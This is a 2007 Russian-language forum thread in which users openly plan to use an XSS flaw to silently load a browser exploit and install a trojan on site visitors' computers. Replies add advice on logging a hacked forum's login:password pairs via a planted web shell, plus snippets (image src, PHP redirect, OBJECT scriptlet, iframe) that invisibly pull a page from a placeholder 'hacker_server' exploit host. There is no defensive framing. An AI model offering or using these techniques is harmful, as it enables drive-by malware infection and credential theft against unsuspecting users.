Security Lab



Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти  
Форум » Взлом и защита » Для новичков
Страницы: 1
RSS
Запустить трояна через XSS, Как?
 
#1
Это нравится:0Да/0Нет
11.04.2007 01:59:25
Допустим, на сайте найдена XSS. Как воспользоваться ею, чтоб запустить трояна на компьютерах посетителей НЕЗАМЕТНО? Т.е. чтоб не открывалось дополнительных окон в окне браузера при работе XSS и чтоб не было видно переход на сайт, где есть страница-эксплоит, при посещении которой стартует троян?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
 
 
#2
Это нравится:0Да/0Нет
11.04.2007 08:13:36
Ссылка по теме (статья не о реализации, а скорее всего просто описывается подобная ситуация в действии)  Тут
собственно через xss ты трояна врятли зальешь  :)  другое дело получить доступ к админ панели и править страничку (в статье описанна связка приват эксплойт+форм граббер)
к сожалению паблик эксплойты не всегда работают, да и обычные трояны палятся всем чем можно)


У меня тоже вопрос

Можно ли поправить страничку форума так, что бы связка логин:пароль логировалась в отдельный файл? (на сервере форума имеется веб шел)
 
 
 
#3
Это нравится:0Да/0Нет
11.04.2007 10:06:01
Цитата
Можно ли поправить страничку форума так, что бы связка логин:пароль логировалась в отдельный файл?

Засунь в скрипт авторизации вывод логина/пароля в файл. Проблем то, строчка кода...
 
 
 
#4
Это нравится:0Да/0Нет
11.04.2007 17:53:08
Цитата
SecurityLameR пишет:
собственно через xss ты трояна врятли зальешьдругое дело получить доступ к админ панели и править страничку
Стырить куки - это дело нехитрое. А меня интересует именно удалённый запуск файла.

Не стоит ограничивать свои познания только журналом Хакер. Есть намного более интересные и не "зажёванные"
статьи. Вот, например

И через xss это вполне можно сделать: через javsscript можно отправить юзера на другой сайт? Можно! А на том сайте можно расположить html-эксплоит для браузера? Можно!
Так что в этом вопрос не стоит.
Вопрос лишь в реализации: интересует как можно незаметно заставить браузер загружать код страницы с эксплоитом. Чтоб никаких:

Код
window.open

и
Код
location.href


Можно, конечно всё-таки window.open использовать и задать координаты окна за пределами рабочего стола... но это не выход

а вот такая конструкция:
Код
document.myimg.src='http://hacker_server/exploit.htm
ещё не факт что сработает. Верней, не уверен, что после попытки загрузки таким образом страницы, выполнится эксплоит

Какие НЕЗАМЕТЬНЫЕ варианты есть ещё?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
 
 
#5
Это нравится:0Да/0Нет
16.04.2007 02:21:14
Цитата
Какие НЕЗАМЕТЬНЫЕ варианты есть ещё?

php
header("location: http://http://hacker_server/exploit.htm");

HTML

мета тег был для переброски на другой сайт
 
 
 
#6
Это нравится:0Да/0Нет
16.04.2007 18:29:12
Цитата
ZEROska пишет:
мета тег был для переброски на другой сайт
Не понял: какой мета тег и где был?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
 
 
#7
Это нравится:0Да/0Нет
26.07.2007 18:07:30
<OBJECT TYPE="text/x-scriptlet" DATA="http://www.ctudentishe.com/test.html">   </OBJECT>
тут указана url странички на которой может находиться опасный код

кто еще какие способы знает внедрения трояна через xss стучите в асю 5745002 буду оч блогодарен за любое содействие
 
 
 
#8
Это нравится:0Да/0Нет
27.07.2007 00:38:53
Хм... я вот тут подумал... а не зря ведь злонамеренный код во взломанных сайтах запускается с использованием iframe. Стало быть, его и надо юзать!
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
 
 
Страницы: 1
Читают тему